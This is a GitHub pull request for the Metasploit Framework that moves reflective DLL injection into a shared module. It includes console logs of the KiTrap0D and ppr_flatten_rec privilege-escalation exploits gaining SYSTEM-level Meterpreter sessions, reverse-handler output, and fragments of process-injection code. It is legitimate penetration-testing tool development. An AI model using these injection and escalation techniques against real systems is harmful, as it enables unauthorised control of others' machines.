Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add RDI mixin module and refactor things to use it #2721

Merged
merged 10 commits into from Dec 6, 2013

Conversation

OJ
Copy link
Contributor

@OJ OJ commented Dec 4, 2013

Rationale

MSF was starting to see more modules using RDI to load binaries into remote processes, so it made sense to create a mixin which contained the functionality that was being used in various locations.

This commit contains the new mixin, and adjustments to all the existing exploits and modules which use RDI.

I haven't done a mixin before, so I picked a spot which I thought made sense and put it there. As always, this PR is open to lots of critique to make sure we get it right.

Validation

  • Kitrap0d works
  • ppr_flatten_rec works
  • reflective_dll_inject works
  • payloads continue to work in x86
  • payloads continue to work in x64
  • RDI mixin doesn't look like it's written by a noob

Test Runs

HTTP Payload

msf exploit(handler) > exploit

[*] Started HTTP reverse handler on http://10.5.26.40:8000/
[*] Starting the payload handler...
[*] 10.5.26.43:49303 Request received for /JGaj...
[*] 10.5.26.43:49303 Staging connection for target /JGaj received...
[*] Patched user-agent at offset 678544...
[*] Patched transport at offset 678208...
[*] Patched URL at offset 678272...
[*] Patched Expiration Timeout at offset 679144...
[*] Patched Communication Timeout at offset 679148...
[*] Meterpreter session 10 opened (10.5.26.40:8000 -> 10.5.26.43:49303) at 2013-12-04 16:07:12 +1000

meterpreter > sysinfo
Computer        : WIN-P73NLAJOYFH
OS              : Windows Vista (Build 6002, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

KiTrap0D

msf exploit(ms10_015_kitrap0d) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.5.26.40:4444 
[*] Launching notepad to host the exploit...
[+] Process 2508 launched.
[*] Reflectively injecting the exploit DLL into 2508...
[*] Injecting exploit into 2508 ...
[*] Exploit injected. Injecting payload into 2508...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (786432 bytes) to 10.5.26.40
[*] Meterpreter session 5 opened (10.5.26.40:4444 -> 10.5.26.40:43928) at 2013-12-04 15:46:00 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

ppr_flatten_rec

msf exploit(ppr_flatten_rec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.5.26.40:4444 
[*] Launching notepad to host the exploit...
[+] Process 3928 launched.
[*] Reflectively injecting the exploit DLL into 3928...
[*] Injecting exploit into 3928 ...
[*] Exploit injected. Injecting payload into 3928...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 10 sec ...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (786432 bytes) to 10.5.26.43
[*] Meterpreter session 8 opened (10.5.26.40:4444 -> 10.5.26.43:49201) at 2013-12-04 16:00:53 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Reflective Loading x86

msf post(reflective_dll_inject) > rexploit
[*] Reloading module...

[*] Running module against WIN-S45GUQ5KGVK
[*] Injecting /home/oj/code/metasploit-framework/data/meterpreter/ext_server_extapi.x86.dll into 4080 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed

Reflective Loading x64

msf post(reflective_dll_inject) > rexploit
[*] Reloading module...

[*] Running module against WIN-S45GUQ5KGVK
[*] Injecting /home/oj/code/metasploit-framework/data/meterpreter/ext_server_extapi.x64.dll into 3856 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed

MSF was starting to see more modules using RDI to load binaries into
remote processes, so it made sense to create a mixin which contained
the functionality that was being used in various locations.

This commit contains the new mixin, and adjustments to all the existing
exploits and modules which use RDI.
#
###

module Msf::RdiMixin
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The 'mixin' bit is redundant? I think this should just be Msf::ReflectiveDLLInjection, or Msf::RDI, or Msf::RDLI or Msf::RDLInjection.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

While I agree, I was copying the an existing mixin, such as PostMixin.

Changed `RdiMixin` to `ReflectiveDLLInjection`.
@@ -1,7 +1,7 @@
# -*- coding: binary -*-

require 'msf/core'
require 'rex/peparsey'
require 'msf/core/rdi_mixin'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would suggest renaming the file as well

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

to ... msf/core/reflecivedllinjection_mixin.rb ? :)

@Meatballs1 Meatballs1 mentioned this pull request Dec 5, 2013
@Meatballs1
Copy link
Contributor

Everything working here, my only reservation is whether it should be split into two modules.

The current module keeps load_rdi_dll

and an Msf::Post::Windows::ReflectiveDLLInjection for those that rely on post methods e.g. inject_dll_into_process

I'm not sure about inject_into_process I think this should maybe be moved into Msf::Post::Windows::Process which already has execute_shellcode(shellcode, base_addr=nil, pid=nil)

Maybe just move the inject_dll_into_process into Windows::Process?

@Meatballs1 Meatballs1 closed this Dec 5, 2013
@Meatballs1 Meatballs1 reopened this Dec 5, 2013
@Meatballs1
Copy link
Contributor

Oops wrong button

# Load a reflectively-injectable DLL from disk and find the offset
# to the ReflectiveLoader function inside the DLL.
#
# +dll_path+ - Path to the DLL to load.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yardoc standards, please.

# @param dll_path [String] Path to the DLL to load.
#
# @return [Array] Tuple of ...

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My bad. I took a shot in the dark rather than proper research here. Will fix, thank you!

@jlee-r7
Copy link
Contributor

jlee-r7 commented Dec 5, 2013

msf/core/reflective_dll_injection.rb should really be under msf/core/post/windows somewhere.

@Meatballs1
Copy link
Contributor

But its used by payloads so shouldn't be under post...

@OJ
Copy link
Contributor Author

OJ commented Dec 5, 2013

What @Meatballs1 said. I didn't really think that it belonged there thanks to the RDI payloads using it. Is there anywhere better to put it?

@OJ
Copy link
Contributor Author

OJ commented Dec 5, 2013

Maybe just move the inject_dll_into_process into Windows::Process?

Herein lies the problem, as it's still an injection concern, not just a process concern. So is it worth it? I kind of like the "one place" for RDI related things.

@Meatballs1
Copy link
Contributor

I was thinking that execute_shellcode could be refactored to use inject_into_process as presumably most of the code is the same there too. It would also be available if you wanted to inject shellcode but not use RDI etc.

Msf::Post::Windows::RDI then depends upon Msf::Post::Windows::Process and Msf::RDI.

You cant RDI without a process or the process functions (well you could railgun them).

nb RDI is just shorthand I think it looks too ugly as a module name.

@OJ
Copy link
Contributor Author

OJ commented Dec 5, 2013

Agreed, I'm using the full name in modules.

So I'm splitting it into two:

  • msf/core/reflective_dll_loader - contains a small mixin with the load_rdi_dll function that loads from disk and finds the ReflectiveLoader entry, returning the DLL contents and offset.
  • msf/core/post/windows/reflective_dll_injection - contains the other functions which deal with the actual injection of the DLL into a remote process, and makes use of the msf/core/reflective_dll_loader mixin.

I'll take a look at the execute_shellcode function shortly.

Now broken into two modules, one for loading RDI DLLs off disk and
finding the loader function offset, and another for doing the process
specific stuff of loading into the target.

raise "Can't find an exported ReflectiveLoader function!" if offset == 0
dll, offset = load_rdi_dll(library_path)
raise "Can't find an exported ReflectiveLoader function!" unless offset
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Redundant now?

rescue ::Exception => e
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
if dll_mem && offset
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This if/else block should be redundant now also as we will hit exception on line 46?

@Meatballs1
Copy link
Contributor

Retested kitrapo0d ppr_flatten_rec and reflective_dll_injection and all still working.

Just want to check with @jlee-r7 that he's happy with current file structure.

@OJ
Copy link
Contributor Author

OJ commented Dec 5, 2013

Yup! Me too.

print_good("Process #{pid} launched.")

print_status("Reflectively injecting the exploit DLL into #{pid}...")
process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might be nice to expose the spawned process name as a datastore option, but not necessary for this PR

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Aye true. This could apply to a lot of other modules outside of this PR. Happy to do it after though.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For that rabbit hole:

grep -r -i "notepad.exe" . | wc -l
39

#
# Inject the given shellcode into a target process.
#
# @param process The process to inject the shellcode into.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

# @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process]
#   The process to inject the shellcode into.

@jlee-r7
Copy link
Contributor

jlee-r7 commented Dec 6, 2013

A few style nitpicks, but otherwise this looks shiny. Great work folks.

@OJ
Copy link
Contributor Author

OJ commented Dec 6, 2013

Done. Thanks @jlee-r7 !

@Meatballs1 said he'd merge in the morning if you were cool with it.

Thanks to all for their help! First Ruby mixin for me, learned lots. Much appreciated.

Meatballs1 added a commit that referenced this pull request Dec 6, 2013
Adds support to load a dll and identify the ReflectiveLoader offset.
Adds support to inject dll into process and execute it.

Updates kitrap0d, ppr_flatten_rec, reflective_dll_inject modules and
payload modules to use above features.
@Meatballs1 Meatballs1 merged commit 155836d into rapid7:master Dec 6, 2013
@OJ
Copy link
Contributor Author

OJ commented Dec 6, 2013

Legend @Meatballs1 ! Thank you sir.

@OJ OJ deleted the rdi_mixin branch December 6, 2013 12:38
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants